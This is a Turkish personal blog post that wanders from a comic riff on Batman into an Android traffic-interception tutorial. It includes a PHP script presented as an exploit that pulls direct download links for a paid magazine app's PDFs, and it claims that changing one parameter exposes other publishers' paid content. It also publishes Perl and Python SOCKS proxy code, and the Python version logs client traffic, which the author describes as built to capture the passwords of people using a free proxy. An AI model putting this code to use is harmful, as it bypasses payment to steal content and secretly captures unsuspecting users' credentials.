Your browser does not support JavaScript! Batman Sendromu,Android Penetration Test Part II,DeepWeb,PThreads ~~ Burtay.Org
    Follow @burtay  
  +31-653-420-829

Batman Sendromu,Android Penetration Test Part II,DeepWeb,PThreads

   

Oluşturma Tarihi : 09.11.2015 12:47:20
Son Güncelleme   : 20.11.2017 17:47:44


Çok efkarlıyım aq , depresyonda bile olabilirim.Muhtemelen arkada çalan azer bülbül şarkısı illede sen yüzünden.Yoksa herşey yolundaydı,ne oldu lan birden bana.
Hiç bir derdim de yoktu oysa.Vay aq,duygusal hack yedik iyi mi.Rahmetlinin,batmanle alakası yok tabi.Olsa olsa batmanlıdır,ama yarasa falan yok abi fazla gotik kaçar adama.Yok daha neler,dur lan dur girme kanıma,kansız düşünce.Tövbe tövbe neyse.

Şimdi,batman gelmiş geçmiş en karizmatik adamdır bana göre,üstüne birde zengindir.Sırf bu işlere insanı yardım için girmiştir pezevenk.Hani geçiyorken uğradım havalarında kahramanlık yapar.Kahramanlık bir adam için hobi olabilir mi aq.Lükse bak lükse.Boş zamanlarını değerlendirmek için kahramanlık yapıyor.Bu adamda ki lüks anlayışı arap şeyhlerinde yok.Altından klozet ne ki?Hadi gel,Bu adam karizmatik olmasın da tıvorlu ismail mi olsun.Elinizdeki en iyi şans benim adama karşı ,The burtay,siz düşünün aq.Adam o kadar karizmatik ki her filminde ""I'm Batmaan"" diye bir diyaloğu vardır.İlla ki vardır.Bırakın filmleri animasyonlarında,parodilerinde bile hatta ve hatta bir çok dizi ve filmde dahi atıf vardır.nasıl ki bond """Ben bond,james bond""" cümlesi ile giriş yapar karizma paçalardan akar ya.Batman """Ben Batman""" dediğinde karizma tsunamisi olur.Hani o karizma altında ezilmezsin,direk ölürsün.Dikkat edersen james bond gibi birde adını söyleme olayına girmiyor.Adam unique,başına The eki gelmiyor.Karizma sıçıyor adam,o derece.Ne demek istediğimi aşağıdaki videolardan görebilirsiniz.



Nirvanaya ulaşmak diye bir deyiş var ya onun aslı Batman'e ulaşmaktır.Batman varabileceğiniz son noktadır.Mesela mesleklerde junior senior diye hiyerarşik bir kast sistemi var ya.En üstte batman var abi.Junior developer,Senior Developer diye başlar BATMAN diye biter.Hani birine,bir adamın yada bir teknolojinin en iyisi,top of the bests olduğunu söylemeniz gerekiyor ya;ağzınızı burnunuzu yamultup,cinsiyetinizden ödün vererek """Uzaaay haciii""" demenize gerek yok.Adam batman abi,Bu telefon batman abi,Bu Firma batman abi.İşte batman budur.Sagopanın deyimiyle varmak istediğiniz o yolun sonudur.Şimdilik batman burda kalsın.İlerde kullanacağımı hissediyorum.Son olarak unutmayın ki "Tell me do you bleed" cümlesini kurduğu halde süpermene kafa tutan tek herif Batmandir.



Neden,Kömürlü ütü ile batman ütüsü yapıyorum size.Yazıyı aynı kafa ile yazmaya devam edebilir ve daldan dala atlamazsam inanıyorum ki yazının bir yerlerinde şair ana fikri verecektir size.Yazmaya pek alışık değilim eskisi kadar,düşünmek hızlı,pratik ve effective.İçici misin diye soranlara direk yutucuyum diyorum,e daha pratik,birde kim içmek ile uğraşacak.

Bugün android ile pentest konusunda devam etmeyi biraz php'den biraz deepwebden bahsetmeyi planlıyorum,e tabi birde batman sendromu var.Bakalım bunların hepsini tek potada nasıl eriticem bende merak ediyorum,heyecanla izliyorum kendimi.

UYARI:Aşağıda bahsedilen herşey(Siteler,uygulamalar,Data Paketleri,URL'ler,Exploitler) tamamen hayal ürünüdür.Sistemlerin daha iyi anlaşılması için uydurulmuştur.

Android uygulamalarının data paketlerini takip ederek birşeyler yapmaya çalışacağım.Yani network analysing.

Öncelikle android uygulamaların data paketlerini takip edebilmek için kendi bilgisayarımızı proxy server yaparak,cihazımızın wifi ayarlarından proxy server olarak kendi cihazımızın local ip adresini vereceğiz.Daha sonra da data paketlerini izleyebileceğimiz programımızı açarak uygulama nereye hangi isteklerde bulunuyor bunu görebileceğiz.Ben proxy server ve analyzer olarak pratik olduğundan dolayı charles proxy'i kullanıyorum.Sizler isterseniz Wireshark,burpsuite de kullanabilirsiniz.








Diyelim ki (!) Google Play üzerinden bir karikatür dergisi buldum.Her sayı için sizden 1 dolar civarı ücret istiyor.Benim android sistemim patchlendiği için google playdan satın al apisi ile çalışan herşeyi hooklayabiliyorum.Yani siz satın al tuşuna bastığınızda ekrana google play xxx lira yazarken bende başka şeyler çıkıyor ve rahatlıkla satın alma işlemi başarılı olduktan sonraki remote adresi ve data paketini takip edebiliyorum.Bu sayede satın alma sanki başarılı olmuş gibi göstererek remote server'ın göndermiş olduğu responsu görebiliyorum.Aşağıdaki örnek gibi.

{"data":[{"book_id":"2966","book_name":"5. Say\u0131","issue_date":"5. Say\u0131","description":" ","book_image":"thumb_2966_1434807792.jpg","pdf_name":"p2966.pdf","priview_filename":"p2966.zip","status":"1","price":"1.99","android_price":"2","product_identifier":"burtay_0005","date":"20\/06\/2015","month":"June , 2015","language":"T\u00fcrk\u00e7e","ordering":"0"},{"book_id":"2742","book_name":"4. Say\u0131","issue_date":"4. Say\u0131","description":" ","book_image":"thumb_2742_1430549088.jpg","pdf_name":"p2742.pdf","priview_filename":"p2742.zip","status":"1","price":"1.99","android_price":"2","product_identifier":"burtay_0004","date":"02\/05\/2015","month":"May , 2015","language":"T\u00fcrk\u00e7e","ordering":"0"},{"book_id":"2734","book_name":"3. Say\u0131","issue_date":"3. Say\u0131","description":"Gang of Burtay","book_image":"thumb_2734_1430406571.jpg","pdf_name":"p2734.pdf","priview_filename":"p2734.zip","status":"1","price":"1.99","android_price":"2","product_identifier":"burtay_0003","date":"30\/04\/2015","month":"April , 2015","language":"T\u00fcrk\u00e7e","ordering":"0"},{"book_id":"2733","book_name":"2. Say\u0131","issue_date":"2. Say\u0131","description":" ","book_image":"thumb_2733_1430406666.jpg","pdf_name":"p2733.pdf","priview_filename":"p2733.zip","status":"1","price":"1.99","android_price":"2","product_identifier":"burtay_0002","date":"30\/04\/2015","month":"April , 2015","language":"T\u00fcrk\u00e7e","ordering":"0"},{"book_id":"2384","book_name":"1. Say\u0131","issue_date":"1. Say\u0131","description":" ","book_image":"thumb_2384_1426759636.jpg","pdf_name":"p2384.pdf","priview_filename":"p2384.zip","status":"1","price":"0","android_price":"0","product_identifier":"burtay_mart_2015","date":"26\/03\/2015","month":"March , 2015","language":"T\u00fcrk\u00e7e","ordering":"0"}]} 


Bu kod sonrasında ise istenilen sayının download linkini alıp direk download işlemine başladığını gördükten sonra exploitmi yazıyorum.Buyrun bütün dergileri ücretsiz olarak çekebiliriz.

<?php
 
class socket
{
    public function get($site)
    {
        $curl        =    curl_init();                           
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);                   
        curl_setopt($curl,CURLOPT_URL,$site);                                                                                                   
        $calis        =    curl_exec($curl);
        return $calis;
    }
}
echo "
  _    _              _  ____                _           
| |  | |            (_) |  _ \              | |         
| |__| |  __ _  ___  _  | |_) | _  _  _ __ | |_  __ _  _  _
|  __  | / _` | / __|| | |  _ < | | | || '__|| __|/ _` || | | |
| |  | || (_| || (__ | | | |_) || |_| || |  | |_| (_| || |_| |
|_|  |_| \__,_| \___||_| |____/  \__,_||_|    \__|\__,_| \__, |
                                                          __/ |
                                                          |___/
/*
*    Batman Dergi Download Exploit
*    Coded By Burtay
*    Twitter : @haciburtay
*    Web : www.burtay.org
*    Mail : admin{at}burtay.org
*/       
";
sleep(3);
$curl = new socket();
$obje = json_decode($curl->get("http://batman.burtay.org/mobile/get.php?task=get_book_with_category&cat_id=0&app_name=batman_burtay"));
foreach($obje->data as $nesne )
{
    echo $nesne->book_name."  -  http://batman.burtay.org/mobile/test.php?file=".$nesne->pdf_name."\n";
}
?>


Detay veremediğim için anlamayanlar olacaktır.Çok basit bir işlem.
1.)Bilgisayarınızı Proxy server yapın
2.)Android yada iphone cihazınızın wifi ayarlarından bilgisayarınızı proxy server olarak gösterin
3.)Uygulamanın çalıştığı URL'ler ve data paketlerini inceleyerek bütün server tabanlı açıkları arayın.

Olayı şimdi bir adım öteye götürelim.Yukardaki exploit ve datalar mevcut bir sisteme ait olduğunu düşünürsek(!).Exploitteki URL'e dikkat ederseniz şöyle bir parametre olduğunu göreceksiniz.
app_name=batman_burtay

Benim kulağıma başka uygulamalarda mı var o zaman diye bir fısıltı geldi.Bu api'ye ait siteyi ziyaret ettiğimde onlarca ayrı firmaya hizmet veren bir publisher company olduğunu gördüm.Yazılı basın bu firma ile anlaşıyor,yıllık belli bir ücret veriyor ve yayınlarını dijital olarak satabiliyor.Ufak bir arama ile bu firmadan yararlanan bütün yayıncıları bulup android uygulama isimlerini çektim.app_name kısmını değiştirdiğimde ise bingo o yayıncıya ait gazete dergi yada katalog her ne varsa bütün hepsi ordaydı.Uzun bir süre dergileri ve gazeteleri orjinal pdf hali ile ücretsiz takip edebilir artık.Tabi hayal gücümüzle!

Evet Proxy server demişken Deepweb içinde neler anlatabileceğim aklıma gelmişti.Janissaries'i kurmadan 1 yıl önce kadar bir ingilizin yönettiği yaklaşık 70 üyesi olan uluslararası deepweb bir forumda takılıyordum(Yahoonun 450bin üyesinin bilgilerini expose ederek tanınmışlardı).O forumdan bir arkadaş kendi vps'izde çalıştırabileceğiniz proxy server kodlamıştı,tabi ingiliz rahat durur mu adama dedi ki madem proxy server kodladın ben bunu bi serverda çalıştırıp ücretsiz proxy olarak dağıtıcam ama bütün veri trafiğinin süzülmesini ve girilen bütün şifrelerin kaydedilmesini sitiyorum dedi.Elemanda tekrar modifiye etmişti kodları.Size o kodları vereyim.Adamlar neler yapıyor bizim sitedekiler hala brute force kodlasın.XSS anlatsın,abidik gubidik CTF'ler düzenlesin.Nerdesin Batman!
#!/usr/bin/perl
 
$auth_enabled = 1;
$auth_login = "burtay";
$auth_pass = "proxy";
$port = 8820;
 
use IO::Socket::INET;
 
$SIG{'CHLD'} = 'IGNORE';
$bind = IO::Socket::INET->new(Listen=>10, Reuse=>1, LocalPort=>$port) or  die "Can't bind port $port\n";
 
while($client = $bind->accept()) {
$client->autoflush();
 
if(fork()){ $client->close(); }
else { $bind->close(); new_client($client); exit(); }
}
 
sub new_client {
local $t, $i, $buff, $ord, $success;
local $client = $_[0];
sysread($client, $buff, 1);
 
if(ord($buff) == 5) {
  sysread($client, $buff, 1);
  $t = ord($buff);
 
  unless(sysread($client, $buff, $t) == $t) { return; }
 
  $success = 0;
  for($i = 0; $i < $t; $i++) {
    $ord = ord(substr($buff, $i, 1));
    if($ord == 0 && !$auth_enabled) {
      syswrite($client, "\x05\x00", 2);
      $success++;
      break;
    }
    elsif($ord == 2 && $auth_enabled) {
      unless(do_auth($client)){ return; }
      $success++;
      break;
    }
  }
 
  if($success) {
    $t = sysread($client, $buff, 3);
 
    if(substr($buff, 0, 1) == '\x05') {
      if(ord(substr($buff, 2, 1)) == 0) { # reserved
        ($host, $raw_host) = socks_get_host($client);
        if(!$host) {  return; }
        ($port, $raw_port) = socks_get_port($client);
        if(!$port) { return; }
        $ord = ord(substr($buff, 1, 1));
        $buff = "\x05\x00\x00".$raw_host.$raw_port;
        syswrite($client, $buff, length($buff));
        socks_do($ord, $client, $host, $port);
      }
    }
  } else { syswrite($client, "\x05\xFF", 2); };
}
$client->close();
}
 
sub do_auth {
local $buff, $login, $pass;
local $client = $_[0];
 
syswrite($client, "\x05\x02", 2);
sysread($client, $buff, 1);
 
if(ord($buff) == 1) {
  sysread($client, $buff, 1);
  sysread($client, $login, ord($buff));
  sysread($client, $buff, 1);
  sysread($client, $pass, ord($buff));
 
  if($login eq $auth_login && $pass eq $auth_pass) {
    syswrite($client, "\x05\x00", 2);
    return 1;
  } else { syswrite($client, "\x05\x01", 2); }
}
 
$client->close();
return 0;
}
 
sub socks_get_host {
local $client = $_[0];
local $t, $ord, $raw_host;
local $host = "";
 
sysread($client, $t, 1);
$ord = ord($t);
if($ord == 1) {
  sysread($client, $raw_host, 4);
  @host = $raw_host =~ /(.)/g;
  $host = ord($host[0]).".".ord($host[1]).".".ord($host[2]).".".ord($host[3]);
} elsif($ord == 3) {
  sysread($client, $raw_host, 1);
  sysread($client, $host, ord($raw_host));
  $raw_host .= $host;
} elsif($ord == 4) {
  #ipv6 - not supported
}
 
return ($host, $t.$raw_host);
}
 
sub socks_get_port {
local $client = $_[0];
local $raw_port, $port;
sysread($client, $raw_port, 2);
$port = ord(substr($raw_port, 0, 1)) << 8 | ord(substr($raw_port, 1, 1));
return ($port, $raw_port);
}
 
sub socks_do {
local($t, $client, $host, $port) = @_;
 
if($t == 1) { socks_connect($client, $host, $port); }
elsif($t == 2) { socks_bind($client, $host, $port); }
elsif($t == 3) { socks_udp_associate($client, $host, $port); }
else { return 0; }
 
return 1;
}
 
# this part of code was taken from datapipe.pl utility,
# written by CuTTer (cutter[at]real.xakep.ru)
# utility lays on cpan.org
 
sub socks_connect {
my($client, $host, $port) = @_;
my $target = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM);
 
unless($target) { return; }
 
$target->autoflush();
while($client || $target) {
  my $rin = "";
  vec($rin, fileno($client), 1) = 1 if $client;
  vec($rin, fileno($target), 1) = 1 if $target;
  my($rout, $eout);
  select($rout = $rin, undef, $eout = $rin, 120);
  if (!$rout  &&  !$eout) { return; }
  my $cbuffer = "";
  my $tbuffer = "";
 
  if ($client && (vec($eout, fileno($client), 1) || vec($rout, fileno($client), 1))) {
    my $result = sysread($client, $tbuffer, 1024);
    if (!defined($result) || !$result) { return; }
  }
 
  if ($target  &&  (vec($eout, fileno($target), 1)  || vec($rout, fileno($target), 1))) {
    my $result = sysread($target, $cbuffer, 1024);
    if (!defined($result) || !$result) { return; }
    }
 
  if ($fh  &&  $tbuffer) { print $fh $tbuffer; }
 
  while (my $len = length($tbuffer)) {
    my $res = syswrite($target, $tbuffer, $len);
    if ($res > 0) { $tbuffer = substr($tbuffer, $res); } else { return; }
  }
 
  while (my $len = length($cbuffer)) {
    my $res = syswrite($client, $cbuffer, $len);
    if ($res > 0) { $cbuffer = substr($cbuffer, $res); } else { return; }
  }
}
}
 
sub socks_bind {
my($client, $host, $port) = @_;
# not supported
}
 
sub socks_udp_associate {
my($client, $host, $port) = @_;
# not supported
}


Buda diğeri


#!/usr/bin/python2.7
#encoding=utf-8
 
import socket
from threading import Thread
import sys
import signal
from pprint import pprint
import string
 
SOCKTIMEOUT=5#???????(?)
RESENDTIMEOUT=300#????(?)
 
VER="\x05"
METHOD="\x00"
 
SUCCESS="\x00"
SOCKFAIL="\x01"
NETWORKFAIL="\x02"
HOSTFAIL="\x04"
REFUSED="\x05"
TTLEXPIRED="\x06"
UNSUPPORTCMD="\x07"
ADDRTYPEUNSPPORT="\x08"
UNASSIGNED="\x09"
 
_LOGGER=None
 
class Log:
    WARN="[WARN:]"
    INFO="[INFO:]"
    ERROR="[ERROR:]"
    def write(self,message,level):
        pass
       
class SimpleLog(Log):
    import sys
    def __init__(self,output=sys.stdout):
        self.__output=output
        self.show_log=True
       
    def write(self,message,level=Log.INFO):
        if self.show_log:
            self.__output.write("%s\t%s\n" %(level,message))
        open("cli_output", "a").write(message)
           
def getLogger(output=sys.stdout):
    global _LOGGER
    if not _LOGGER:
        _LOGGER=SimpleLog(output)
    return _LOGGER
       
 
def dump(obj):
    for attr in dir(obj):
        print "obj.%s = %s" % (attr, getattr(obj, attr))
   
def savepacket(packet, imefajla):
    open(imefajla+".dat", "a").write(packet)
   
 
class SocketTransform(Thread):
    def __init__(self,src,dest_ip,dest_port,imefajla,bind=False):
        Thread.__init__(self)
        self.dest_ip=dest_ip
        self.dest_port=dest_port
        self.src=src
        self.bind=bind
        self.setDaemon(True)
        self.imefajla = imefajla
 
    def run(self):
        try:
            self.resend()
        except Exception,e:
            getLogger().write("Error on SocketTransform %s" %(e.message,),Log.ERROR)
            self.sock.close()
            self.dest.close()
 
    def resend(self):
        self.sock=self.src
        self.dest=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.dest.connect((self.dest_ip,self.dest_port))
        if self.bind:
            getLogger().write("Waiting for the client")
            self.sock,info=sock.accept()
            getLogger().write("Client connected")
        getLogger().write("Starting Resending")
        self.sock.settimeout(RESENDTIMEOUT)
        self.dest.settimeout(RESENDTIMEOUT)
        Resender(self.sock,self.dest,self.imefajla,logit=True).start()  #logit=True ovde znachi da logujesh ono shto klijent shalje ka proksiju
        Resender(self.dest,self.sock,self.imefajla,logit=False).start() #logit=True ovde znachi da logujesh ono shto server shalje ka klijentu
                                                          #oba true - logujesh oba; nijedan true - ne logujes nishta!
 
 
class Resender(Thread):
    def __init__(self,src,dest,imefajla,logit):
        Thread.__init__(self)
        self.src=src
        self.setDaemon(True)
        self.dest=dest
        self.logit=logit
        self.imefajla=imefajla
 
    def run(self):
        try:
            self.resend(self.src,self.dest)
        except Exception,e:
            getLogger().write("Connection lost %s" %(e.message,),Log.ERROR)
            self.src.close()
            self.dest.close()
 
    def resend(self,src,dest):
        #savepacket(src+"=>"+dest)
        data=src.recv(10)
        while data:
            dest.sendall(data)
            data=src.recv(10)
            if self.logit == True:
                savepacket(data,self.imefajla)
            #savepacket(filter(lambda x: x in string.printable, data))
        src.close()
        dest.close()
        getLogger().write("Client quit normally\n")
 
 
def create_server(ip,port):
    transformer=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    transformer.bind((ip,port))
    signal.signal(signal.SIGTERM,OnExit(transformer).exit)
    transformer.listen(1000)
    while True:
        sock,addr_info=transformer.accept()
        sock.settimeout(SOCKTIMEOUT)
        getLogger().write("Konekcija sa: "+addr_info[0])
        try:
            ver,nmethods,methods=(sock.recv(1),sock.recv(1),sock.recv(1))
            sock.sendall(VER+METHOD)
            ver,cmd,rsv,atyp=(sock.recv(1),sock.recv(1),sock.recv(1),sock.recv(1))
            dst_addr=None
            dst_port=None
            if atyp=="\x01":#IPV4
                dst_addr,dst_port=sock.recv(4),sock.recv(2)
                dst_addr=".".join([str(ord(i)) for i in dst_addr])
            elif atyp=="\x03":#Domain
                addr_len=ord(sock.recv(1))#?????
                dst_addr,dst_port=sock.recv(addr_len),sock.recv(2)
                dst_addr="".join([unichr(ord(i)) for i in dst_addr])
            elif atyp=="\x04":#IPV6
                dst_addr,dst_port=sock.recv(16),sock.recv(2)
                tmp_addr=[]
                for i in xrange(len(dst_addr)/2):
                    tmp_addr.append(unichr(ord(dst_addr[2*i])*256+ord(dst_addr[2*i+1])))
                dst_addr=":".join(tmp_addr)
            dst_port=ord(dst_port[0])*256+ord(dst_port[1])
            savepacket("\n-----%s <= KONEKCIJA IZMEDJU => %s:%d-----\n" %(addr_info[0],dst_addr,dst_port), addr_info[0])
            getLogger().write("Client wants to connect to %s:%d" %(dst_addr,dst_port))
            server_sock=sock
            server_ip="".join([chr(int(i)) for i in ip.split(".")])
 
            if cmd=="\x02":#BIND
                #Unimplement
                sock.close()
            elif cmd=="\x03":#UDP
                #Unimplement
                sock.close()
            elif cmd=="\x01":#CONNECT
                sock.sendall(VER+SUCCESS+"\x00"+"\x01"+server_ip+chr(port/256)+chr(port%256))
                getLogger().write("Starting transform thread")
                SocketTransform(server_sock,dst_addr,dst_port,addr_info[0]).start()
            else:#Unspport Command
                sock.sendall(VER+UNSPPORTCMD+server_ip+chr(port/256)+chr(port%256))
                sock.close()
        except Exception,e:
            getLogger().write("Error on starting transform:"+e.message,Log.ERROR)
            sock.close()
 
class OnExit:
    def __init__(self,sock):
        self.sock=sock
 
    def exit(self):
        self.sock.close()
 
 
if __name__=='__main__':
    try:
        ip="0.0.0.0"
        port=8080
        create_server(ip,port)
    except Exception,e:
        getLogger().write("Error on create server:"+e.message,Log.ERROR)


yakın zamanda konunun devamı ile burdayım.